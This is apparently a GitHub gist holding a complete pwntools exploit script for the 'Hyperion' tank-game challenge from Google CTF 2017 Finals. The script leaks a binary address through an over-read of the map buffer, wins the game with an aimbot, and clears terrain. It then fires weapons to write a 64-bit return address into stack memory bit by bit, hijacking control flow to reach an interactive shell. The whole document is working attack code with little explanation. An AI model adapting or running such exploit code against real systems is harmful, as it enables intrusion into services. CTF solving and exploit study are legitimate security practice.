Created
April 8, 2021 15:33
-
-
Save X3eRo0/dfbb43660c616cbb03002d83c79c647b to your computer and use it in GitHub Desktop.
HYPERION [Pwn] - Google CTF 2017 Finals Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# this exploit was generated via | |
# 1) pwntools | |
# 2) ctfinit | |
import os | |
import time | |
import pwn | |
import struct | |
from math import sqrt, sin, cos, radians as rd, degrees as dg | |
# Set up pwntools for the correct architecture | |
exe = pwn.context.binary = pwn.ELF('./hyperion_server') | |
pwn.context.terminal = ["tilix","-a","session-add-right","-e"] | |
pwn.context.delete_corefiles = True | |
pwn.context.rename_corefiles = False | |
host = pwn.args.HOST or '192.168.56.3' | |
port = int(pwn.args.PORT or 1337) | |
def local(argv=[], *a, **kw): | |
'''Execute the target binary locally''' | |
if pwn.args.GDB: | |
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) | |
else: | |
return pwn.process([exe.path] + argv, *a, **kw) | |
def remote(argv=[], *a, **kw): | |
'''Connect to the process on the remote host''' | |
io = pwn.connect(host, port) | |
if pwn.args.GDB: | |
pwn.gdb.attach(io, gdbscript=gdbscript) | |
return io | |
def start(argv=[], *a, **kw): | |
'''Start the exploit against the target.''' | |
if pwn.args.LOCAL: | |
return local(argv, *a, **kw) | |
else: | |
return remote(argv, *a, **kw) | |
gdbscript = ''' | |
continue | |
'''.format(**locals()) | |
#=========================================================== | |
# EXPLOIT GOES HERE | |
#=========================================================== | |
# tg = local(env={"HYPERION_FORK_SERVER": "1"}) | |
io = start() | |
def GetOffsetStdin(): | |
log_level = pwn.context.log_level | |
pwn.context.log_level = 'critical' | |
if exe.arch != 'amd64': | |
print("[-] only amd64 supported") | |
exit(-1) | |
p = pwn.process(exe.path) | |
p.sendline(pwn.cyclic(512)) | |
p.wait() | |
time.sleep(2) | |
core = p.corefile | |
fault = core.fault_addr | |
ofst = pwn.cyclic_find(fault & 0xffffffff) | |
p.close() | |
pwn.context.log_level = log_level | |
return ofst | |
def GetOffsetArgv(): | |
log_level = pwn.context.log_level | |
pwn.context.log_level = 'critical' | |
if exe.arch != 'amd64': | |
print("[-] only amd64 supported") | |
exit(-1) | |
p = pwn.process([exe.path, cyclic(512)]) | |
p.wait() | |
time.sleep(2) | |
core = p.corefile | |
fault = core.fault_addr | |
ofst = pwn.cyclic_find(fault & 0xffffffff) | |
p.close() | |
pwn.context.log_level = log_level | |
return ofst | |
''' | |
Leak: | |
The server generates a map and stores it in a stack variable. | |
The bug here is that the server sends a few more bytes than | |
the map so we get leak from the stack. The server sends | |
''' | |
class Tank: | |
def __init__(self, n, x, y, hp): | |
self.n = n | |
self.x = x | |
self.y = y | |
self.hp = hp | |
def Show(self): | |
print("Tank %d" % self.n) | |
print(" x : %d" % self.x) | |
print(" y : %d" % self.y) | |
print(" hp: %d" % self.hp) | |
class Tanks: | |
def __init__(self, data): | |
self.data=data | |
x1 = struct.unpack("<I", data[0x00:0x04])[0] | |
y1 = struct.unpack("<I", data[0x04:0x08])[0] | |
hp1= struct.unpack("<I", data[0x08:0x0C])[0] | |
x2 = struct.unpack("<I", data[0x0C:0x10])[0] | |
y2 = struct.unpack("<I", data[0x10:0x14])[0] | |
hp2= struct.unpack("<I", data[0x14:0x18])[0] | |
self.tank1 = Tank(1, x1, y1, hp1) | |
self.tank2 = Tank(2, x2, y2, hp2) | |
def Show(self): | |
print(" TANK 1 TANK 2") | |
print(" x : %.4d x : %.4d" % (self.tank1.x, self.tank2.x)) | |
print(" y : %.4d y : %.4d" % (self.tank1.y, self.tank2.y)) | |
print(" hp: %.4d hp: %.4d" % (self.tank1.hp, self.tank2.hp)) | |
def GetBytes(self): | |
return b"TANK" + self.data | |
def RecvText(): | |
io.recvuntil("TEXT") | |
nbytes = pwn.u32(io.recv(4)) | |
text = io.recv(nbytes) | |
return text | |
return None | |
def RecvBllt(): | |
io.recvuntil("BLLT") | |
nbytes = pwn.u32(io.recv(4)) | |
bllt = io.recv(nbytes) | |
return bllt | |
def RecvMap(): | |
io.recvuntil("GMAP") | |
nbytes = pwn.u32(io.recv(4)) | |
gmap = b"" | |
for i in range(nbytes): | |
gmap += io.recv(1) | |
return gmap | |
def RecvTank(): | |
io.recvuntil("TANK") | |
nbytes = pwn.u32(io.recv(4)) | |
data = b"" | |
for i in range(nbytes): | |
data += io.recv(1) | |
tank = Tanks(data[:0x18]) | |
return tank | |
def GetAim(d, h): | |
g = 9.8 | |
for angle in range(90, 0, -1): | |
root = ((g * d * d)/2) | |
root /= (d * abs(sin(rd(angle))) * cos(rd(angle)) - h * (cos(rd(angle)) ** 2)) | |
power = sqrt(root) | |
angle = 180 - angle | |
if power <= 100.0 and power >= 10.0: | |
return power, angle | |
def CreatePacket(weapon, power, angle): | |
Packet = b"FIRE" | |
Packet += pwn.p32(0x18) | |
Packet += pwn.p64(weapon) | |
Packet += struct.pack("d", power) | |
Packet += struct.pack("d", angle) | |
return Packet | |
def CreateAimbotPacket(tanks): | |
xa = tanks.tank1.x | |
xb = tanks.tank2.x | |
ya = tanks.tank1.y | |
yb = tanks.tank2.y | |
d = abs(xa - xb) | |
h = abs(ya - yb) | |
power, angle = GetAim(d, h) | |
print("AIM at (%d, %d)" % (xb, yb)) | |
print("angle: %f" % angle) | |
print("power: %f" % power) | |
return CreatePacket(1, power, angle) | |
def FireAt(weapon, x, y, tanks, debug): | |
xa = tanks.tank1.x | |
xb = x | |
ya = tanks.tank1.y | |
yb = y | |
d = abs(xa - xb) | |
h = abs(ya - yb) | |
P,A= GetAim(d, h) | |
if debug: | |
print("AIM at (%d, %d)" % (x, y)) | |
print("angle: %f" % A) | |
print("power: %f" % P) | |
return CreatePacket(weapon, P, A) | |
def WriteBitAt(x, y, tanks, bit, debug): | |
if bit: | |
weapon = 2 | |
radius = 15 | |
else: | |
weapon = 3 | |
radius = 50 | |
x += radius + 2 | |
return FireAt(weapon, x, y, tanks, debug) | |
def GetPixel(gmap, x, y): | |
idx = x + y * 640 | |
idx_byt = idx // 8 | |
idx_bit = idx % 8 | |
return (gmap[idx_byt] >> idx_bit) & 1 | |
RecvText() | |
DUMP = RecvMap() | |
Leak = { | |
"binary" : pwn.u64(DUMP[0x9608:0x9610]) - 0x02874, | |
} | |
pwn.info("Binary : 0x%x" % Leak['binary']) | |
width = 640 | |
height = 480 | |
pwn.info("Stage 1 (Defeat Red Tank)") | |
while True: | |
tanks = RecvTank() | |
tanks.Show() | |
if tanks.tank1.hp != tanks.tank2.hp: | |
pwn.info("Tank2 Won") | |
os._exit(0) | |
io.send(CreateAimbotPacket(tanks)) | |
RecvBllt() | |
RecvText() | |
if tanks.tank2.hp < 18: | |
break | |
RecvBllt() | |
RecvText() | |
MAP = RecvMap() | |
# once red tank is defeated clear all the terrain | |
pwn.info("Stage 2 (Clear all terrain)") | |
x = 0 | |
r = True | |
s = True | |
while True: | |
# 1. check if ground at 0, 479 | |
# if ground then send clear bomb | |
if x >= 320: | |
break | |
if r: | |
gmap = RecvMap() | |
tank = RecvTank() | |
tank.Show() | |
if GetPixel(gmap, x, 479): | |
io.send(FireAt(3, x, 479, tank, True)) | |
RecvBllt() | |
RecvText() | |
r = True | |
else: | |
if x == (tank.tank1.x - 30): | |
x += 60 | |
x += 10 # radius of weapon3 | |
r = False | |
continue | |
# Terrain is all empty for us to write | |
# target is gmap + 0x9608 (64, 480) | |
# Lets try to write a 1 | |
pwn.info("Attempting to do arbitrary 64bit write") | |
# gmap = RecvMap() | |
# tank = RecvTank() | |
# tank.Show() | |
target = Leak['binary'] + 0x2A52 | |
dummy = 0 | |
pwn.info("Target : 0x%x" % target) | |
for i in range(64): | |
bit = (target >> i) & 1 | |
dummy |= bit << i | |
if GetPixel(gmap, 64 + i, 480) != bit: | |
io.send(WriteBitAt(64 + i, 480, tank, bit, False)) # fire dirt ball at x | |
RecvBllt() | |
# print(RecvText()) | |
gmap = RecvMap() | |
tank = RecvTank() | |
# tank.Show() | |
print(pwn.hexdump(pwn.p64(dummy), begin=i).split('\n')[0]) | |
io.send(FireAt(4, 500, 500, tanks, False)) # will cause a return | |
pwn.info('Exploit Completed Successfully') | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment